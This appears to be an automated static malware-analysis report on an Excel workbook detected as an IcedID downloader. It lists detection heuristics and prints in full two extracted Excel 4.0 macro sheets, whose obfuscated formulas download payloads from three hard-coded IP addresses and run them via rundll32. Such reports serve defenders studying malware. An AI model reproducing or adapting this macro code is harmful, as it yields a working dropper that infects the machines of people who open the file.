Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9155f6c74efec78f…

MALICIOUS

Office (OOXML)

170.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-01
MD5: 0bff0a460600d9975373e55608ebfca8 SHA-1: 07b5c025302874932bdde73d36365248fb78c92c SHA-256: 9155f6c74efec78fa6c3275d2d5d91a358e19636631d4bcef0109d866c73793f
242 Risk Score

Heuristics 5

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, GOTO, RETURN, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://188.127.224.35/ Referenced by macro
    • http://185.250.148.252/Referenced by macro
    • http://195.123.210.231/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5720 bytes
SHA-256: 8add01e9085c18664d81251c6d06a3edb7d5215780449d6882c9e27cadd4203a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="A1:AU402"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A44" sqref="A44"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="6.5546875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="6.5546875" style="2"/></cols><sheetData><row r="1" spans="1:1" x14ac:dyDescent="0.3"><c r="A1" s="3"/></row><row r="87" spans="34:34" x14ac:dyDescent="0.3"><c r="AH87" s="2" t="s"><v>19</v></c></row><row r="99" spans="37:38" x14ac:dyDescent="0.3"><c r="AL99" s="2" t="s"><v>0</v></c></row><row r="100" spans="37:38" x14ac:dyDescent="0.3"><c r="AL100" s="2" t="s"><v>1</v></c></row><row r="101" spans="37:38" x14ac:dyDescent="0.3"><c r="AL101" s="2" t="s"><v>5</v></c></row><row r="102" spans="37:38" x14ac:dyDescent="0.3"><c r="AL102" s="2" t="s"><v>3</v></c></row><row r="103" spans="37:38" x14ac:dyDescent="0.3"><c r="AL103" s="2" t="s"><v>6</v></c></row><row r="104" spans="37:38" x14ac:dyDescent="0.3"><c r="AL104" s="2" t="s"><v>4</v></c></row><row r="105" spans="37:38" x14ac:dyDescent="0.3"><c r="AK105" s="2" t="s"><v>14</v></c><c r="AL105" s="2" t="s"><v>7</v></c></row><row r="106" spans="37:38" x14ac:dyDescent="0.3"><c r="AK106" s="2" t="s"><v>14</v></c><c r="AL106" s="2" t="s"><v>3</v></c></row><row r="107" spans="37:38" x14ac:dyDescent="0.3"><c r="AK107" s="2" t="s"><v>15</v></c><c r="AL107" s="2" t="s"><v>8</v></c></row><row r="108" spans="37:38" x14ac:dyDescent="0.3"><c r="AK108" s="2" t="s"><v>15</v></c><c r="AL108" s="2" t="s"><v>9</v></c></row><row r="109" spans="37:38" x14ac:dyDescent="0.3"><c r="AK109" s="2" t="s"><v>16</v></c><c r="AL109" s="2" t="s"><v>10</v></c></row><row r="110" spans="37:38" x14ac:dyDescent="0.3"><c r="AK110" s="2" t="s"><v>16</v></c><c r="AL110" s="2" t="s"><v>3</v></c></row><row r="111" spans="37:38" x14ac:dyDescent="0.3"><c r="AL111" s="2" t="s"><v>11</v></c></row><row r="112" spans="37:38" x14ac:dyDescent="0.3"><c r="AK112" s="2" t="s"><v>17</v></c><c r="AL112" s="2" t="s"><v>12</v></c></row><row r="113" spans="37:38" x14ac:dyDescent="0.3"><c r="AL113" s="2" t="s"><v>7</v></c></row><row r="114" spans="37:38" x14ac:dyDescent="0.3"><c r="AL114" s="2" t="s"><v>13</v></c></row><row r="115" spans="37:38" x14ac:dyDescent="0.3"><c r="AL115" s="2" t="s"><v>18</v></c></row><row r="117" spans="37:38" x14ac:dyDescent="0.3"><c r="AK117" s="2" t="s"><v>2</v></c></row><row r="262" spans="41:41" x14ac:dyDescent="0.3"><c r="AO262" s="2" t="str"><f>NOW()&amp;".dat"</f><v>44273,4828008102.dat</v></c></row><row r="264" spans="41:41" x14ac:dyDescent="0.3"><c r="AO264" s="2" t="b"><f>NOW()=NOW()=NOW()=FORMULA.FILL(AL99&amp;"u"&amp;"n"&amp;"d"&amp;"l"&amp;"l"&amp;"3"&amp;"2 ",AP264)=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="265" spans="41:41" x14ac:dyDescent="0.3"><c r="AO265" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=FORMULA.FILL(","&amp;AL101&amp;AL113&amp;AL113&amp;AL99&amp;AL114&amp;"g"&amp;"i"&amp;"s"&amp;"t"&amp;"e"&amp;"r"&amp;"S"&amp;"e"&amp;"r"&amp;"v"&amp;"e"&amp;"r",AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="271" spans="41:41" x14ac:dyDescent="0.3"><c r="AO271" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=""&amp;""&amp;REGISTER("U"&amp;AL99&amp;AL100&amp;AK117&amp;AL110&amp;AL104,"U"&amp;AL99&amp;AL100&amp;AL101&amp;AL102&amp;AL103&amp;AL104&amp;AL105&amp;AL106&amp;AL107&amp;AL108&amp;AL109&amp;AL110&amp;AL111&amp;AL112&amp;AL113&amp;AL114&amp;AL115,AK105&amp;AK106&amp;AK107&amp;AK108&amp;AK109&amp;AK110,AK112,,1,9)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="272" spans="41:41" x14ac:dyDescent="0.3"><c r="AO272" s="2" t="e"><f>NOW()=NOW()=NOW()=HERTY(0,AH87&amp;Z400&amp;AO262,"..\Fol.doka",0,0)</f><v>#NAME?</v></c></row><row r="273" spans="41:47" x14ac:dyDescent="0.3"><c r="AO273" s="2" t="e"><f>NOW()=NOW()=NOW()=HERTY(0,AH87&amp;Z401&amp;AO262,"..\Fol.doka1",0,0)</f><v>#NAME?</v></c></row><row r="274" spans="41:47" x14ac:dyDescent="0.3"><c r="AO274" s="2" t="e"><f>NOW()=NOW()=NOW()=HERTY(0,AH87&amp;Z402&amp;AO262,"..\Fol.doka2",0,0)</f><v>#NAME?</v></c></row><row r="277" spans="41:47" x14ac:dyDescent="0.3"><c r="AO277" s="2"><f>GOTO(sheet2!X212)</f><v>0</v></c></row><row r="281" spans="41:47" x14ac:dyDescent="0.3"><c r="AU281" s="2" t="b"><f>RETURN()</f><v>0</v></c></row><row r="400" spans="26:26" x14ac:dyDescent="0.3"><c r="Z400" s="2" t="s"><v>20</v></c></row><row r="401" spans="26:26" x14ac:dyDescent="0.3"><c r="Z401" s="2" t="s"><v>21</v></c></row><row r="402" spans="26:26" x14ac:dyDescent="0.3"><c r="Z402" s="2" t="str"><f>"195.123.210.231/"</f><v>195.123.210.231/</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2124 bytes
SHA-256: 24891294ef37aa1a32df25cf488687c1f0e2acd16ce43be5b9a0be75f6fdd1ba
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="X213:X220"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="A44" sqref="A44"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="5.77734375" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="5.77734375" style="2"/></cols><sheetData><row r="213" spans="24:24" x14ac:dyDescent="0.3"><c r="X213" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet1!AP264&amp;"..\Fol.doka"&amp;sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="214" spans="24:24" x14ac:dyDescent="0.3"><c r="X214" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet1!AP264&amp;"..\Fol.doka1"&amp;sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="215" spans="24:24" x14ac:dyDescent="0.3"><c r="X215" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet1!AP264&amp;"..\Fol.doka2"&amp;sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="220" spans="24:24" x14ac:dyDescent="0.3"><c r="X220" s="2" t="b"><f>GOTO(sheet1!AU279)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.